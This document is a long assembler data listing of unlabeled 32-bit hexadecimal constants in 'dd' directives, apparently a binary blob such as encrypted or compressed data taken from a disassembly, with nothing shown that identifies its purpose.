dd 0B5F12E17h, 0A0161D58h, 0BE165161h, 96FC9E33h, 0E5457BAFh
dd 0A468DB91h, 8A5D25BEh, 0C1CF231Eh, 0ADAB78F2h, 1E0537F9h
dd 6BB37222h, 5A7AFA90h, 16090D1Eh, 83BBEEA7h, 0F99DE53Ch
dd 0E93690FDh, 0E4EA5BFAh, 1033ACB3h, 13FFB4ABh, 836286D9h
dd 565BFADDh, 0C182FD2h, 8D349AC6h, 9992A0B6h, 49D9E20Bh
dd 8119D64Ah, 8DB983B7h, 0CA5D4B89h, 0F6080D82h, 30EB38B6h
dd 0E3AD834h, 44BD2351h, 1D675476h, 0D5AAAF71h, 4A9BB73h
dd 0DA6EF419h, 0E9C93818h, 0F4C16713h, 781D84CFh, 152EE213h
dd 549EFBD3h, 390B4D07h, 0B43E34C4h, 7C416F25h, 8B2FD292h
dd 5C0E83DFh, 914C95AFh, 0AE7979B0h, 0B9BC578Eh, 2A0AAC73h
dd 84BB4C56h, 6202AF3Ch, 0D62723FBh, 0DA27731Fh, 816BC4E1h
dd 0F71808A5h, 0DCCF5424h, 570DD191h, 3EA4031Dh, 0FE844F4Ah
dd 536CD9FBh, 189F4934h, 54A7F2D7h, 0CDE4EF0Dh, 53B197A0h
dd 67A33F2Dh, 4C4F2DABh, 0A533916Ch, 4058BD91h, 8562EA5Bh
dd 78961D1h, 0BA36B09Ch, 6136AA90h, 40D17B87h, 193EAD08h
dd 0B7168ED6h, 0E5D6ED1Dh, 0B54DF1D6h, 0F62432EBh, 6D92F196h
dd 0E5DC1038h, 8AD5EF62h, 0F7B78864h, 0CD7ACA91h, 0D4B0FC81h
dd 34FBBB1Bh, 102EF8B8h, 70D7225Ch, 992DA474h, 0F7184A5Dh
dd 0CCFCD1C3h, 3C0FE51Ah, 1626EDDBh, 0C287D531h, 14EF868Eh
dd 957DE0B1h, 4415BBFFh, 5D95178Bh, 0A43C77CDh, 0F67E403Eh
dd 46A7D47Fh, 6E1C752Bh, 0FAFFBD20h, 8A9DFDF8h, 0BD61BDF6h
dd 5EC604h, 39FB9D52h, 7DBEB6A5h, 663F576Ah, 557DB52Ch
dd 2ECEBE88h, 0FEBAEA7Bh, 4DDC902Fh, 0F755043h, 5080E132h
dd 0E7D69480h, 0EFB0EEF9h, 0E25A2073h, 0C123D15Dh, 216D9FA3h
dd 0DD2FE986h, 2B4E65C9h, 689655C7h, 97E0B69Dh, 0C615A6B4h
dd 90040A8Eh, 0DA9B379Bh, 7555CE5Bh, 0E8670D4Dh, 0EA7980F4h
dd 0E6B69778h, 0F90B5C83h, 0B73DDF9Bh, 0C1B59C91h, 99BB1EB1h
dd 6E9D8656h, 49C9CF2h, 1210A254h, 0CC051356h, 7C94C0DAh
dd 0AE11B81Eh, 0BCC90C05h, 0D94A8173h, 74A982F7h, 0B600A625h
dd 0DB0E476Dh, 170B6F46h, 19E0F08Ah, 11DD173Fh, 0DD03AF28h
dd 0C7D8F560h, 7EF254B5h, 714BE6F2h, 8A49852Fh, 0EA39A49Ch
dd 0A7FC2424h, 560848A5h, 0D43AB2A6h, 72A32DA5h, 0DA96F230h
dd 716872AFh, 0C6C8D9A1h, 0FF8766C2h, 52975BDDh, 4C8A24AEh
dd 745E73DDh, 797A2A2h, 6496915h, 1A17F67Fh, 184CC8BAh
dd 63A2A3EAh, 95857943h, 35BA32Bh, 312AF0Eh, 9CE671F3h
dd 0EBAAF7B1h, 0FCB17D33h, 9682123h, 41FA446Ch, 1744F68Eh
dd 23C0D9C3h, 9A888D7Ch, 0FB9E9C9Dh, 0AC2C739Ah, 5D461C29h
dd 69D7C977h, 0FE883344h, 460228ADh, 1888998Ah, 4C52A20Fh
dd 4EFC7143h, 44EFC83Eh, 0DA0772F3h, 8478F839h, 0A7973435h
dd 4B5C1744h, 78B31F8Eh, 0F8EC02D2h, 98C24F7h, 0FC4F0EA6h
dd 8D29000Eh, 303DCD9Ch, 4DEF95DBh, 7C6EB8DEh, 38BAD60Ah
dd 0B40A30F4h, 0F1D4532Ch, 55847B8Ah, 22FF53DDh, 90C3A78Dh
dd 0E1EE1492h, 66997C7Ch, 110F3682h, 0C9620E3h, 0E96E8E86h
dd 80DAB2C9h, 0EFC0104Fh
dd 615E6CF1h, 5E46434Dh, 0EF47E9EFh, 6C663A13h, 7504C26h
dd 953EA0Ch, 78EAD7A8h, 15474E2Ch, 6AC1D50Dh, 5BAAAC7Ah
dd 50A2D224h, 0C01AD2Eh, 0A53D4A4h, 37C6287Bh, 0D4942D68h
dd 0B7379467h, 0D8407CB4h, 0F5EC5229h, 8D997B54h, 11DC0EA4h
dd 0F67EE276h, 87C286C1h, 2E004232h, 9C29A9A6h, 0F0CE6F09h
dd 7BC713CDh, 3F3493E4h, 3D9C2BFAh, 0C716FA69h, 2B4EAD15h
dd 0EDEB5D4Eh, 0A85C6000h, 0EBB9CB50h, 1971E2E1h, 91FB96C5h
dd 0D504B050h, 0A3986F07h, 1AED27CBh, 7A0683F3h, 93469AB5h
dd 858759A7h, 0B93F0692h, 31FB54EBh, 0AAD5B86h, 0DFEEC313h
dd 0F51E89F5h, 7F4DE1C9h, 0E449960Eh, 0CB367E12h, 6F4F5E0Fh
dd 54B28474h, 0AA80B734h, 59383E86h, 0D18011E0h, 0A0EAD5CCh
dd 13D69502h, 676945E1h, 36EDA338h, 1ADD199Bh, 0C18A3529h
dd 5725C6ADh, 9EAEC657h, 46D76E04h, 62D8093h, 0B1CA2A27h
dd 0D5645CA9h, 7C92B0D2h, 48D4558Ch, 0DC3A9862h, 4476DE7Dh
dd 0B69B8C60h, 581459Bh, 5250A900h, 0B17C3D12h, 0C022EFBDh
dd 29AEB8BCh, 4FAE4C89h, 0AB9B72FAh, 688D6477h, 0E45C74FCh
dd 27A0015Bh, 8AFD0B3Ch, 0E74860E3h, 0ECEB3328h, 96DFD41Bh
dd 3087301Eh, 0BC11F66Bh, 9FF5C280h, 4A17EE2Dh, 7A54CFF0h
dd 7DC524DCh, 5FEDDF3Fh, 9B3CC8F5h, 0B57B82Eh, 0E5B52F1Fh
dd 9D9D36Ch, 5409DE34h, 588435E6h, 529E83h, 2BE956BBh
dd 22CFB097h, 5D0858F9h, 15D83979h, 45BF001Ch, 926EF415h
dd 0FF5B934Dh, 8B404FC8h, 748105C3h, 2B22A5D9h, 1F0CD12Eh
dd 0EE8A9768h, 0BE070BA3h, 9DCB4BECh, 0B09DBEDEh, 9CCA636Ah
dd 6731A37Eh, 0E0747DB3h, 6BF47B6h, 7580343Fh, 8A64DF48h
dd 0A9F8916Bh, 337C26A5h, 882276A1h, 2098562Fh, 5B970567h
dd 0CCD014BEh, 0E13786Dh, 0C2B57D2Fh, 5DD73C98h, 832170h
dd 0CFA847C1h, 252506DEh, 0BB5CBDF6h, 67B946B8h, 8BAC6C5h
dd 967027CEh, 652B9509h, 0D78360DEh, 0D029E8A8h, 158F4DDDh
dd 77923825h, 0DF908BF4h, 0FD013CEh, 7D703D6Ah, 8F3BAD9Eh
dd 0E830D268h, 0DE38DD18h, 48BCCAABh, 0FFCD8AB3h, 2DFC7DE6h
dd 9FE4D932h, 4FEA4FB7h, 1692509Dh, 6694BA61h, 4E74B4A0h
dd 6861235Ah, 0ED51FF18h, 3E191112h, 0BA3A5256h, 0B8ACF344h
dd 194AEF7Ch, 5F04C5C9h, 0D6402820h, 0C0A633A7h, 7C42E88h
dd 6EA13A60h, 0A89F39E2h, 71BA9405h, 24D0AA31h, 188D4AD4h
dd 6519E15Fh, 0D6D7E035h, 0B5B9AEA8h, 81F4F31Bh, 50E9146h
dd 0EA4C5CDDh, 7EE8EFD4h, 0EAE208E8h, 866A7FB3h, 0A741B429h
dd 0BB3E459Dh, 0E3854F1Bh, 0C1296FA0h, 0A5C3453Fh, 55A3130Ch
dd 0C698A761h, 41A08193h, 6309393Ch, 99A4115Ah, 51F6899Ch
dd 0D7E4898Dh, 0B20FE813h, 51403179h, 10F1DBB6h, 1EFAEF17h
dd 0BEC95D7Eh, 0E10D5396h, 0CBF41461h, 101FF25Bh, 0E91FDE47h
dd 3A7A55D8h, 58287413h, 59EF7528h, 88265EC8h, 93DE798Eh
dd 0B36DEC4Bh, 0D9E09744h, 0AEB0B5A6h, 94B60FAEh, 0A7AE6C03h
dd 6900EDA1h, 1466BE89h, 0B7040B2Eh, 18D3F5BCh, 0A2B55111h
dd 0DB646355h, 0EE16CA87h, 0D90E5D35h, 1DC7D80Eh, 0FC3844ACh
dd 5164C71Eh, 7B8A40A8h, 6367059Fh, 666AFD26h, 0F03C3E49h
dd 98D94530h, 0C2D8E822h, 0E8730727h, 0BA49D6EFh, 0E2047628h
dd 389F527Ah, 0ADA1E3Eh, 14FA8248h, 0E4D5726Eh, 5291F83Eh
dd 0B817CCC0h, 25577918h, 0BFD421BFh, 17BE5BFCh, 2384378Fh
dd 242B6A4Bh, 0BDB63F8Fh, 5F0ED020h, 0FA059322h, 569A8446h
dd 0D4FACB7Dh, 9BB32DCBh, 0FD22604Bh, 37A03036h, 3B9F0321h
dd 0A3E30224h, 7BD28F2Ah, 4DCE7EB0h, 7039CBB4h, 269BEE94h
dd 4EB4FACEh, 0E3C585CEh, 9C5F3456h, 64655A8Bh, 0A0E4F46Ch
dd 1D4AFF1Dh, 7E6D5BE2h, 20C508E5h, 0EAD98C5Eh, 80D69829h
dd 0F5ACB0EDh, 0F34A2A85h, 5BFFB3FCh, 0DCFAAFF5h, 0F8ACE049h
dd 109B91B3h, 9F1A548h, 3DDCB714h, 4174977h, 0BB9048E8h
dd 0A29F4876h, 0E9425DC0h, 5B20531Ch, 0DAE6878Eh, 2F8E91B9h
dd 6E4F144Fh, 0FD89FE4Dh, 95C187A5h, 0C7FCAB01h, 717E891Ch
dd 0D14FC8E5h, 2BD6B659h, 0A52BD4F1h, 816EF5B7h, 0F552CA87h
dd 0BA3C3F1Ch, 7BD6B438h, 7875A246h, 0B67C9C42h, 6B278686h
dd 0E1BA3534h, 0CE18B216h, 46AB1000h, 228A520h, 0DF94CF30h
dd 0FAA8A3DAh, 0BBB0391Dh, 7C8B18F1h, 4E76D495h, 0ADDD37B3h
dd 1B2B3A77h, 0CEB0BA9Ah, 6AE0FF2Ah, 18E0083Ah, 0A082A673h
dd 9EBBDE92h, 0B4626B71h, 49FE0A86h, 99403741h, 3D4F5D93h
dd 0B567E4E5h, 0EC0FA0EAh, 4D468A8Dh, 48FF0FA2h, 11616168h
dd 54DC9A03h, 0E8FD7B00h, 0B28B23DEh, 3589A964h, 0C8A36108h
dd 52661FFDh, 99D55C60h, 1A9E7429h, 98D75A57h, 0DE7A2484h
dd 55A8C901h, 0F48D5B9Bh, 39403C83h, 0A0C258Ch, 10B99F3Fh
dd 20CCB6B8h, 6C416834h, 2F73F54Dh, 0E494CF9Ch, 16DB6E81h
dd 48240893h, 9132BE85h, 565D8A0Ch, 7918B535h, 81079B41h
dd 705EDB50h, 0DA037419h, 0A2BFA720h, 98A8781Ah, 4402B373h
dd 9DC228F2h, 8A1F181Dh, 9DC4F4FCh, 22E30C41h, 157457DAh
dd 0C053BD67h, 0F00683A7h, 0AFA80654h, 6F10B200h, 0EF36ED3h
dd 53C52DBDh, 0F555985Dh, 482F5386h, 126FDDBEh, 84C65A92h
dd 0BF90659Eh, 0AE4148C2h, 93735A39h, 7B76A931h, 123DDC86h
dd 134366ADh, 0AECC685Ah, 0C00EC47Eh, 0D0704027h, 7636B51Fh
dd 13DA5968h, 0C7D41E5Dh, 80EE9063h, 0D681D64Eh, 1613E80Ch
dd 1A399B78h, 2C874D42h, 708C1274h, 44359635h, 1A4446B1h
dd 21F3CB1Fh, 94C86482h, 3AD8773Fh, 0A4518A63h, 694DCE6Dh
dd 0DBD1DFC9h, 54651B3Dh, 1D8266EAh, 5C562648h, 0FD5E265Bh
dd 0E04C39D8h, 0F987D393h, 73FFCB4h, 31129B7Dh, 0BD802933h
dd 6AF11E2Ah, 1327002Bh, 9B8C47A7h, 0AB565BB3h, 0FC053265h
dd 0AE0F2AB8h, 220907B5h, 0F350136h, 41179FA4h, 697CAEDDh
dd 0DF57B801h, 455F1436h, 97D0C4CCh, 5D402A13h, 0C18A6850h
dd 0BB9D020Ch, 847D6A23h, 328896E4h, 0E9D0B274h, 4CA928C3h
dd 218E2CBCh, 5BFEF136h, 0D40CE26Dh, 137D706Bh, 1182B251h
dd 0A1BD3054h, 0E3E3CF0Ch, 85CF5E7Ah, 13331149h, 0EBAC9097h
dd 5D4B919Ah, 0EEE3E7BAh, 0A17E276Eh, 0ABAE8C54h, 8BB3885Bh
dd 2CB4C22Ch, 9DB7FFEDh, 8277A506h, 0B7A03AD6h, 15D53783h
dd 0FD3C6A8Ch, 1EDC45CBh, 0B28D80F0h, 1E1A7966h, 5FFB2AD5h
dd 0E5DA9D9Ch, 1B963333h, 5384F232h, 81608354h, 0B9383FDFh
dd 0A7E03CBAh, 8A22D8C9h, 4B281B64h, 4EA9DF54h, 9CA0E7D6h
dd 40D83B0Ah, 207832Dh, 469885FAh, 0FEB9ADB4h, 1F869CD8h
dd 0AC067BEEh, 55EA6FFBh, 0B4807E20h, 73A0AB23h, 52111525h
dd 7D228B1Ah, 0DDE28264h, 0CE6ED742h, 37095F2Bh, 88E97A2Dh
dd 0A6417EBDh, 0B6F800C7h, 0AF509FAEh, 2A8AAFACh, 0FC09FA3Fh
dd 0E99CAECAh, 52A25283h, 469DD06Eh, 0ACE32CECh, 0F45ED653h
dd 4A7DB86Eh, 0F7CF2C0Dh, 1298FFD6h, 3954AC2Bh, 0D46F7BC8h
dd 95E0A5ADh, 368909A0h, 4056B87Ah, 0E8C55038h, 2C3228B4h
dd 0FCBF4AFCh, 74CA386Ch, 944E74C7h, 0C7260869h, 11AB0904h
dd 29799489h, 82EFD916h, 95A8BCD8h, 0FF87CB33h, 239934B4h
dd 2300BC3Eh, 5BC99889h, 0FCD54F80h, 48829CA8h, 3103F4B1h
dd 0C4AA26B9h, 0FB62C5F3h, 0D795D0C0h, 6CFF390Eh, 59F7B5E8h
dd 0ED86D162h, 0A2FA3D2Dh
dd 0F958EFB2h, 49059798h, 0DE9F2507h, 422271AEh, 95EE3571h
dd 5B8C50EEh, 9BC9FF38h, 0DFAC749Eh, 0D51F4B91h, 5FF760A6h
dd 6F43E2C3h, 0C8ABB6D3h, 4D38E71Ah, 0A02FFDC2h, 79D5A375h
dd 0DC258039h, 0C821613Ch, 641857A4h, 0A2E5B957h, 0D7EC435Eh
dd 63600EF1h, 367B6403h, 2D9AB35Eh, 23E3691Ah, 0A41D6448h
dd 0F7271D6Eh, 930CF453h, 4AEC6E95h, 0B3CD7A6Fh, 56CDF9D2h
dd 0FCEEC9CEh, 0CF20FA6Dh, 2437F575h, 0E9819FCBh, 5467A6B5h
dd 7DE47027h, 0B202BA32h, 0A3BDBD03h, 7F330BBCh, 3E90C973h
dd 0DA78ECA4h, 0AF7C1CCBh, 0EF54479Bh, 0DA425840h, 7228BCFFh
dd 99C278BBh, 679C6BADh, 1A0E3512h, 0CB246BC2h, 19D8DED2h
dd 120D2BCAh, 0C53CC3AEh, 5D0ED0F8h, 0AB7460D8h, 0A6688903h
dd 4DA49108h, 0EB808C3h, 0C091E476h, 0C6EC3FFh, 44F99B14h
dd 0DE698A1Ah, 3451022Ch, 38E82F1Fh, 0D63EC67h, 0EDD55B21h
dd 0E284DBA3h, 67DEC987h, 9E577741h, 0A70B2752h, 0FA7E9AE2h
dd 5266975Bh, 93D674D5h, 16D648FCh, 3F03C9B5h, 1A8143DDh
dd 3F3F4BDDh, 0DD060445h, 0F6D10F15h, 0D87CD193h, 0CD33595Fh
dd 3A527377h, 0B3E9AF6Fh, 41F34ECCh, 67420910h, 2143B1AEh
dd 1ED393FEh, 8C145078h, 6C46BF3h, 3D3CF442h, 25EB1451h
dd 0F74A8F64h, 0E209FF2Eh, 0F5F8334Bh, 0B52D30E5h, 39F352C4h
dd 0D68C436Fh, 0C478DC85h, 0FA1C769Bh, 8312D4E5h, 0D905DF54h
dd 0AE05F708h, 538ACA7Dh, 4D82005Fh, 2356924Ch, 0B98A81h
dd 443FED66h, 0DC36578Ah, 88845A78h, 0F48A1054h, 8FF9C9DAh
dd 3A6E334Dh, 0C35352A8h, 70873413h, 0B4F0087Bh, 0DDDED339h
dd 1FEF3CE5h, 3BA8F72Eh, 0D1F14BB0h, 0A6B0FBF1h, 0F611EFF7h
dd 35C46C2Dh, 0D8BB229h, 5C0199B9h, 0CEB31043h, 0DA3C9CB1h
dd 4D4A8D60h, 0B3EDB5B6h, 0A45AF93Bh, 0B77D12E9h, 0E0B7EF74h
dd 9985413Ch, 101E327Ch, 1468329h, 993A9618h, 6A531C06h
dd 4C4C8081h, 820F7DA8h, 5A6CC096h, 74B9AD98h, 0A3DA23Ch
dd 8A0D65E0h, 0B3ED9A19h, 81DCFA80h, 0A23AA9A1h, 23619020h
dd 89836276h, 0C5C0CE3Dh, 4AD0E7D0h, 0F232D0F1h, 0FBD6A1BBh
dd 0D311D09h, 528CBDD2h, 9DA72E0Eh, 5804202Eh, 0FF1F9411h
dd 0A43CC6F9h, 91838EDFh, 0CE67A3E1h, 1506654Eh, 0C2EB26BDh
dd 0FE2BC3Dh, 0A0AAD9F0h, 0F933C964h, 3A05182Fh, 0AD208D45h
dd 0EA58E442h, 0E6CED0B0h, 7A240D1Ch, 0B79F2B88h, 0BE8635E7h
dd 52BB0600h, 326C1BAAh, 4D080540h, 116B1C61h, 0A0119504h
dd 0C50600F8h, 3E469209h, 9F8ECD3Fh, 41A56C4Eh, 94CB6119h
dd 0FB3E0D54h, 5B8C7957h, 49F9B337h, 7DF5A173h, 0ED32552Ch
dd 91DD29F4h, 0D53D1E91h, 0BA6FF33h, 177CF56Dh, 0E565987Ch
dd 0B5935893h, 0B83B5298h, 0E387C0A5h, 795F66A1h, 4F5BC8CBh
dd 628A28C6h, 74F02BB0h, 948D54FBh, 71FE3AADh, 0FD3FF288h
dd 91432CA7h, 0B85DC2D0h, 97E007E6h, 5AFBC95h, 0B66690CBh
dd 5E770BD4h, 0A3FC1FF9h, 0C1F53C03h, 5735C15Eh, 0E24AC490h
dd 81131DC5h, 4D08B958h, 2AFF2B79h, 6EA932DAh, 2DD1F3D4h
dd 8F5BD59Fh, 0BE1A079Dh, 36E14BCCh, 0BC795CA1h, 4BECBDC4h
dd 28A733CCh, 17FC5627h, 41868047h, 183E468Ch, 0A26D0A01h
dd 7E7BCCEDh, 1CC26333h, 8541B1D2h, 3289FB41h, 12219AFBh
dd 3044A302h, 1D9C630Dh, 0ECFAE3Eh, 0B3C0949Dh, 1CECA254h
dd 9C2EF951h, 0E720378Bh, 0B72D3030h, 0B70CEB3Ah, 94C2B844h
dd 4C810CDDh, 0B941B204h, 47532DDh, 9E26D459h, 0F9B2833Eh
dd 25DF1439h, 3125D1F9h, 1B671F76h, 2E2062C9h, 1CE45118h
dd 745CD361h, 3A93D9ABh, 0ED24228Eh, 25C5F566h, 0E90B88C6h
dd 0C9309EB6h, 319DCFC8h, 0AC64110h, 0D48ECB31h, 8D8433F6h
dd 6CAAB447h, 29FE8C83h, 890BACBh, 0DD88BF09h, 0C7EB6554h
dd 9F86C70Dh, 96AECEEDh, 0C45424BAh, 30DE7866h, 60CB2B7Bh
dd 17926012h, 715B36DAh, 772129A1h, 87A4D335h, 0D6B8817Ah
dd 0B6EFACB8h, 9E03CF85h, 139A3DE4h, 0B030ED1Ah, 6D342B34h
dd 0C000771Ch, 673ACDA0h, 0A0533033h, 483A8633h, 8E81EE2Eh
dd 5F77682Bh, 39E82F32h, 10974C05h, 0CC055322h, 0B7C53AAEh
dd 9B377162h, 0B5D7B1AFh, 89EDB15Ah, 0B644D5C8h, 6E6C4C0Fh
dd 0F6EA9A25h, 76340A1Ah, 774D2362h, 65858495h, 0ED0D67A8h
dd 32BB7C1Fh, 0A48995B8h, 814BF10Ah, 1BA4F3CBh, 0AE907DCBh
dd 9B68DADCh, 8106A876h, 487C657Dh, 0F935BD0Bh, 0F51D731Dh
dd 0CB287679h, 5967A4Bh, 0FA537DB5h, 34001F43h, 69A1CAABh
dd 0C45EAC41h, 4CF87D76h, 5F8853AFh, 239FF95h, 6575EF5Ah
dd 997DAABh, 0D0B35ACEh, 1C0FE744h, 0E271C750h, 0A88163AAh
dd 1B4036F4h, 9696FFBEh, 7EB48FAFh, 1396CD0Eh, 46A54246h
dd 0A87B4255h, 8003796Eh, 0DA7EB9C0h, 0DA153E0Ch, 0F2649A5Dh
dd 0CA4A0AF5h, 3AE340C1h, 0B5754C8Bh, 71D4FE0Ch, 1CF27F8h
dd 0CDE2507Dh, 0A2A79D97h, 49CF931Eh, 8A03F1DFh, 774B6C61h
dd 31A7BFBEh, 0AC445FA9h, 0B2D2EB3Dh, 36D5D8F8h, 0F7C2E8A8h
dd 329B708Dh, 0DC44952Dh, 0B5772D7Dh, 0AD3CCC8Bh, 45869839h
dd 0F84F0207h, 9E5B2011h, 39C75563h, 91F806A9h, 0D99429F7h
dd 0E6216EF6h, 0EC58F0B4h, 0F0D632D1h, 0A31FF1A8h, 402F344Bh
dd 9F8A4D10h, 0B7C19B4Ch, 62C237Ch, 62672C98h, 0CA3CCDD1h
dd 4E8FAABCh, 0BFE05EE5h, 18113309h, 5C9C86ABh, 0EB318E38h
dd 58674556h, 4F7C7C91h, 53DC5DEFh, 232E95EEh, 82549872h
dd 8C2948FAh, 2BE6805Fh, 40A0D15Dh, 38546F56h, 0B263CF71h
dd 0CBB385FAh, 5F0F5FB8h, 6BF9F966h, 6F41E7F3h, 0C8B0F01Eh
dd 545753D1h, 0C8E11533h, 0F081461Eh, 0F0F6C3A2h, 9CD1E581h
dd 25BD8AD8h, 125B8EE7h, 6913C882h, 58E65885h, 9FC218C0h
dd 5F29DB59h, 4BC61215h, 0ACC843C4h, 3D839Bh, 0A61B59D6h
dd 8854403Ch, 0FDF40DE1h, 3931ED41h, 39D5CC00h, 25153A1Ch
dd 0C2570DF0h, 0DFC054F6h, 0B0B04B87h, 0DDABB9A8h, 13563A8h
dd 768C340Dh, 1BAC143Ch, 0A732A73Eh, 3F0267EBh, 8958F021h
dd 6A4566E4h, 0E85A381Bh, 820A0269h, 0E3E6B88Fh, 0A8E0ED20h
dd 28DA6503h, 40D4FAB8h, 0AF01173Bh, 0AA62B38h, 8A940735h
dd 47E5FD6Dh, 0B46D31h, 93522A43h, 8DD6C6C9h, 0AC7EA5F4h
dd 0C16D8DDDh, 0CB98706Ch, 0F2B2959Eh, 0FD0AD2D0h, 8526890Eh
dd 0B0D7D906h, 38CDF135h, 0DBF34034h, 0F1C5F5C9h, 32498001h
dd 0F7C45E5Dh, 0E350B27Ah, 8390BF45h, 636B4987h, 0B7D42C09h
dd 0F080814Ah, 0EF9844DAh, 24DD277Ah, 0BF79EF7Bh, 0D11B47C8h
dd 0EE052CD0h, 5FBA391Dh, 7D996EF7h, 0F2BF07B8h, 96D5A2B9h
dd 27CC2166h, 3A54FAE5h, 26D0B050h, 90FD584h, 831BDD8Ch
dd 0BC34F387h, 3588D0CAh, 0A2C48321h, 0B2249801h, 0A757E298h
dd 27719293h, 4CFBAFF1h, 3844CB32h, 0E6F912B4h, 0B710BE14h
dd 5C853018h, 0D125D76Bh, 4F9DAB55h, 0E6BEF610h, 3DDE84E2h
dd 455D4E3Fh, 9F0E1E13h, 8586E24Ah, 0E007C8Ah, 8ED5E9ACh
dd 7141DF82h, 7C7102D3h, 0CC2D20BDh, 0E5E452E7h, 1AB0BF4h
dd 0F354FB72h, 3AEBD74Eh, 0F5C4B7E9h, 0FC81FE98h, 0B820075Eh
dd 7E30587Ah, 5B5C1317h, 0A7ED0F51h, 0A6F45F37h, 0FE9217CFh
dd 4F497342h, 0DD61C4CAh, 1CB7F4ECh, 0C3034CFFh, 0EE74208h
dd 73BE287Ch, 0E6CD7B3Ah, 0E0585D49h, 41C567ACh, 0B2B5AF09h
dd 4C884B06h, 4F8B8EFh
dd 6B7A7F37h, 99C361B2h, 0E207752Ch, 0A8CB0F02h, 3F07E0AEh
dd 0B7F7458Dh, 0FDDFD187h, 99379E79h, 67184796h, 0C022C4CDh
dd 74C46D7Eh, 5D3E3C8Ch, 0B0CD0C0h, 409C1508h, 201D1AE5h
dd 0A0A573BEh, 0BECCBA1Eh, 0BE7A0347h, 8FB12700h, 7B14A4A5h
dd 0DCF213AEh, 0B7CB19EBh, 15913145h, 25F567C8h, 0C647BA9Fh
dd 0E7D8D65Ch, 0FCE5B67Eh, 256BD737h, 0AC2709A2h, 69F2B4CAh
dd 0A4B81F4Eh, 0E74A2D11h, 8BB38798h, 2D63C3B4h, 0DEE1129Ch
dd 0D637A18Ah, 9134DCFDh, 0B9AA4B25h, 0C352647Bh, 18640285h
dd 9ED0E0AEh, 0E035D04Bh, 0E75AFCC3h, 0A80968D1h, 6222D43Bh
dd 0E736ABB4h, 0ADF70FCBh, 64F4BA3Dh, 805FEA77h, 0DCBEF3BEh
dd 0F2C76ADh, 47610C9Bh, 4DDA0245h, 0E9634235h, 644A3518h
dd 5A972B47h, 0ED0DEE5Fh, 0FD8CFCA4h, 6AD03001h, 61D9BB21h
dd 0E0D1739h, 0E5493FF3h, 0FC77A8DAh, 4A33658Bh, 0B6E1F168h
dd 441EFDA3h, 0AD5132CAh, 0C3F6E35Dh, 4C247480h, 309C931Eh
dd 0CFF60E53h, 84361C17h, 6B8D5073h, 961995D1h, 9ABA0CC8h
dd 0F9CDF9B7h, 291AAADFh, 0AB73B529h, 0C82610E6h, 9513E74Dh
dd 7FA1045Eh, 0DE7543C3h, 7624CFCDh, 0F0B460F9h, 19C6AAB9h
dd 0D64B5A10h, 0F8519CB9h, 2459A539h, 0CD6A4A3Bh, 113BE45Eh
dd 0E009F7B3h, 0D05D89D7h, 0C20BE20Bh, 27D1149Dh, 223C134Ch
dd 73811BAEh, 20E161ABh, 49FC11EBh, 0C6734E17h, 13172528h
dd 0B443CD9Ah, 0F181D94Ch, 891E27A5h, 3F593137h, 0B3CDDDA2h
dd 2E4DB719h, 1E80A901h, 0CC917360h, 158173EAh, 0E401E32Dh
dd 258EE549h, 0E54FDCE2h, 1190DDF2h, 0A7BD255Bh, 0CAAE4DC9h
dd 0B2FFEC51h, 3127BFD6h, 5E742465h, 0D1DD0BEAh, 0BB2F7A5Eh
dd 0ECA1B2D2h, 769289Ch, 56EBF760h, 0F0C6EFDDh, 84B790BDh
dd 0F9D10531h, 0CE696AB3h, 0A6921957h, 155C38C0h, 0FD742229h
dd 0DF162849h, 42896390h, 27AD2FA6h, 0E1785D33h, 0B8FD1B17h
dd 98148361h, 0A6DFE1F4h, 1CB4D248h, 659E5176h, 0BEF03C8Eh
dd 6093C1DCh, 0B47D3D50h, 5F1E31FBh, 19C3AB9Ch, 0DAA9AE8h
dd 0B9BC391Fh, 76F34737h, 0D86CAB69h, 72B5C0FEh, 0FDDFE5EFh
dd 4B93A253h, 29F38011h, 5A11105Dh, 0DDE88983h, 0EE5154A1h
dd 0BEB96692h, 1EB0C233h, 0D8FB36A3h, 34B00BC5h, 0C8A656FDh
dd 98F045ABh, 0C870B649h, 3FD46988h, 79F52454h, 0B9B77913h
dd 626AEBF5h, 2DF6F0DDh, 1C1701C2h, 39A70B18h, 7475FD7Bh
dd 5FA764C1h, 858C972Ch, 620C8E1Ah, 0F43C719Ah, 0E167DE55h
dd 0BDD5A71Ch, 0F9A4F897h, 0C05730AEh, 36FEFE9Ch, 0F60481A7h
dd 52FA3536h, 99495B82h, 0E1F45939h, 6876A01Bh, 0C79473ECh
dd 9DC09505h, 860845EEh, 513BC13Dh, 52084864h, 2EF27E3Ah
dd 0C4F3B7A1h, 0AB220AD9h, 90E0B9E7h, 0F60490DCh, 0CEB1F973h
dd 877FD303h, 672CFD0Fh, 78E65BB5h, 49127E9Ch, 4E784391h
dd 3B1EAB94h, 93B19D9Ch, 0E83325CBh, 0A0B023DBh, 3A29B30Ah
dd 666194FFh, 0D5C34Dh, 8221EA18h, 0C853B06Fh, 0C6FA2C0Dh
dd 79919C74h, 5FD63D42h, 4511D334h, 0DD770CB4h, 0A2FBC08Fh
dd 8C31EF4Dh, 462AC160h, 0A381EF39h, 0FEB4B99Fh, 0BA502AF7h
dd 1F758F30h, 6FEF6777h, 53B6926h, 0A2C2204Eh, 51136F9Eh
dd 7A82FB5Ch, 1E94CB61h, 0A03991D6h, 0FE7A43C0h, 19624A9Bh
dd 0C4EC0454h, 3F6A7A3Fh, 3CB0BB1Eh, 3AE3BB5Eh, 0BAE22DA6h
dd 8F695AF4h, 0D5089503h, 5479F63h, 0AB8DF62Bh, 41C855C4h
dd 2F51F743h, 238469A4h, 9B78068Bh, 3EA7ED33h, 195FD483h
dd 61570F2Fh, 8B66F059h, 7075CD4Dh, 0F17C54CEh, 17E636B5h
dd 0DCB47880h, 65596AA8h, 0F7DF6CFDh, 0B6C50137h, 8B6F7D51h
dd 0C37DB0A3h, 4D88471h, 0E3FC0937h, 7F731E86h, 0E1BB33DDh
dd 9D4BE299h, 0C545F4F5h, 259CFEA8h, 0C20CAAB5h, 0C1C7481Dh
dd 5886585Ch, 41143EECh, 1388D600h, 12D50C8Ch, 5724BEB2h
dd 85B281F3h, 377AAD13h, 26614756h, 0D7137AB9h, 0AE39008Ch
dd 34BC607Ah, 6276BC1Eh, 0F0AAEE04h, 88120AEAh, 0D80E5A30h
dd 7B2DDC50h, 0F19781B0h, 2284C15Ch, 0F623ADEDh, 0E5D69F2Fh
dd 0FB85EE8Ch, 0F4AE3E89h, 0CB9AF8B7h, 0FE6638BCh, 0E61BC3CAh
dd 3F1814DAh, 390C5393h, 965D250Ah, 5257B7B4h, 74FD84DEh
